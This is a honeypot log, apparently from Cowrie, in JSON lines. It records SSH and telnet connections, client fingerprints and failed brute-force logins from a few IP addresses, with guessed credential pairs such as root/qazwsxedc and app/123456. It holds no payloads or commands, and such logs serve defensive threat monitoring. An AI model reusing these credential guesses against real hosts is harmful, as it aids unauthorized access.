{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:46.823552Z","src_ip":"45.153.34.112","session":"71a36672f5d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:47.074465Z","src_ip":"45.153.34.112","session":"71a36672f5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:48.161080Z","src_ip":"45.153.34.112","session":"71a36672f5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.63338088989258,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:49.408276Z","src_ip":"192.119.13.58","session":"ad22f5c9e667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.819829225540161,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:49.577374Z","src_ip":"192.119.13.58","session":"e4ac99641b0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34554,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f39a0851fbb","protocol":"ssh","message":"New connection: 45.153.34.112:34554 (10.17.0.5:22) [session: 7f39a0851fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:50.365140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:50.370104Z","src_ip":"45.153.34.112","session":"7f39a0851fbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:50.452767Z","src_ip":"45.153.34.112","session":"7f39a0851fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:50.701809Z","src_ip":"45.153.34.112","session":"7f39a0851fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:51.787868Z","src_ip":"45.153.34.112","session":"7f39a0851fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32782,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48aa182921f","protocol":"telnet","message":"New connection: 192.119.13.58:32782 (10.17.0.5:23) [session: d48aa182921f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:52.282242Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34556,"dst_ip":"10.17.0.5","dst_port":22,"session":"93ad81beed94","protocol":"ssh","message":"New connection: 45.153.34.112:34556 (10.17.0.5:22) [session: 93ad81beed94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:54.054910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:54.059361Z","src_ip":"45.153.34.112","session":"93ad81beed94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:54.142570Z","src_ip":"45.153.34.112","session":"93ad81beed94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:54.390224Z","src_ip":"45.153.34.112","session":"93ad81beed94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59364,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d13b4f08fae","protocol":"ssh","message":"New connection: 103.82.132.16:59364 (10.17.0.5:22) [session: 0d13b4f08fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:55.314604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:55.321307Z","src_ip":"103.82.132.16","session":"0d13b4f08fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:55.476521Z","src_ip":"45.153.34.112","session":"93ad81beed94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:55.581912Z","src_ip":"103.82.132.16","session":"0d13b4f08fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.75955009460449,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:55.882596Z","src_ip":"192.119.13.58","session":"b8c834e558ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"25800852","message":"login attempt [root/25800852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:56.362384Z","src_ip":"103.82.132.16","session":"0d13b4f08fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:57.630096Z","src_ip":"103.82.132.16","session":"0d13b4f08fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34562,"dst_ip":"10.17.0.5","dst_port":22,"session":"e82bbf02a624","protocol":"ssh","message":"New connection: 45.153.34.112:34562 (10.17.0.5:22) [session: e82bbf02a624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:57.735344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:57.740648Z","src_ip":"45.153.34.112","session":"e82bbf02a624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:57.822880Z","src_ip":"45.153.34.112","session":"e82bbf02a624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:58.069632Z","src_ip":"45.153.34.112","session":"e82bbf02a624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.94437384605408,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:58.437343Z","src_ip":"192.119.13.58","session":"7c67d99705ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:59.160952Z","src_ip":"45.153.34.112","session":"e82bbf02a624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37330,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dce052720e2","protocol":"telnet","message":"New connection: 192.119.13.58:37330 (10.17.0.5:23) [session: 3dce052720e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:59.720101Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49808,"dst_ip":"10.17.0.5","dst_port":22,"session":"962195852125","protocol":"ssh","message":"New connection: 45.153.34.112:49808 (10.17.0.5:22) [session: 962195852125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:01.288719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:01.294311Z","src_ip":"45.153.34.112","session":"962195852125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:01.380890Z","src_ip":"45.153.34.112","session":"962195852125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:01.629461Z","src_ip":"45.153.34.112","session":"962195852125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:02.716976Z","src_ip":"45.153.34.112","session":"962195852125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51740,"dst_ip":"10.17.0.5","dst_port":23,"session":"bea1161b278f","protocol":"telnet","message":"New connection: 192.119.13.58:51740 (10.17.0.5:23) [session: bea1161b278f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:02.805343Z"}
{"eventid":"cowrie.session.closed","duration":32.91898012161255,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:03.675114Z","src_ip":"192.119.13.58","session":"c7a822f19a07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49814,"dst_ip":"10.17.0.5","dst_port":22,"session":"66bb9fd7f275","protocol":"ssh","message":"New connection: 45.153.34.112:49814 (10.17.0.5:22) [session: 66bb9fd7f275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:04.868576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:04.874198Z","src_ip":"45.153.34.112","session":"66bb9fd7f275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:04.956795Z","src_ip":"45.153.34.112","session":"66bb9fd7f275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:05.206913Z","src_ip":"45.153.34.112","session":"66bb9fd7f275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:06.292791Z","src_ip":"45.153.34.112","session":"66bb9fd7f275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41152,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bd7f46b5241","protocol":"telnet","message":"New connection: 192.119.13.58:41152 (10.17.0.5:23) [session: 2bd7f46b5241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:06.411915Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49816,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdec1edc1f2d","protocol":"ssh","message":"New connection: 45.153.34.112:49816 (10.17.0.5:22) [session: cdec1edc1f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:08.412944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:08.418006Z","src_ip":"45.153.34.112","session":"cdec1edc1f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:08.501773Z","src_ip":"45.153.34.112","session":"cdec1edc1f2d","protocol":"ssh"}
